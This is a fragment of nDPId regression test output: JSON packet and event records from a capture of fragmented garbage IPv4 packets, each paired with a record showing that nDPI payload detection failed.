+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384529,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384540,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384582,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384610,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384624,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384651,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384674,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384688,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384742,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384877,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":384995,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385007,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":385034,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 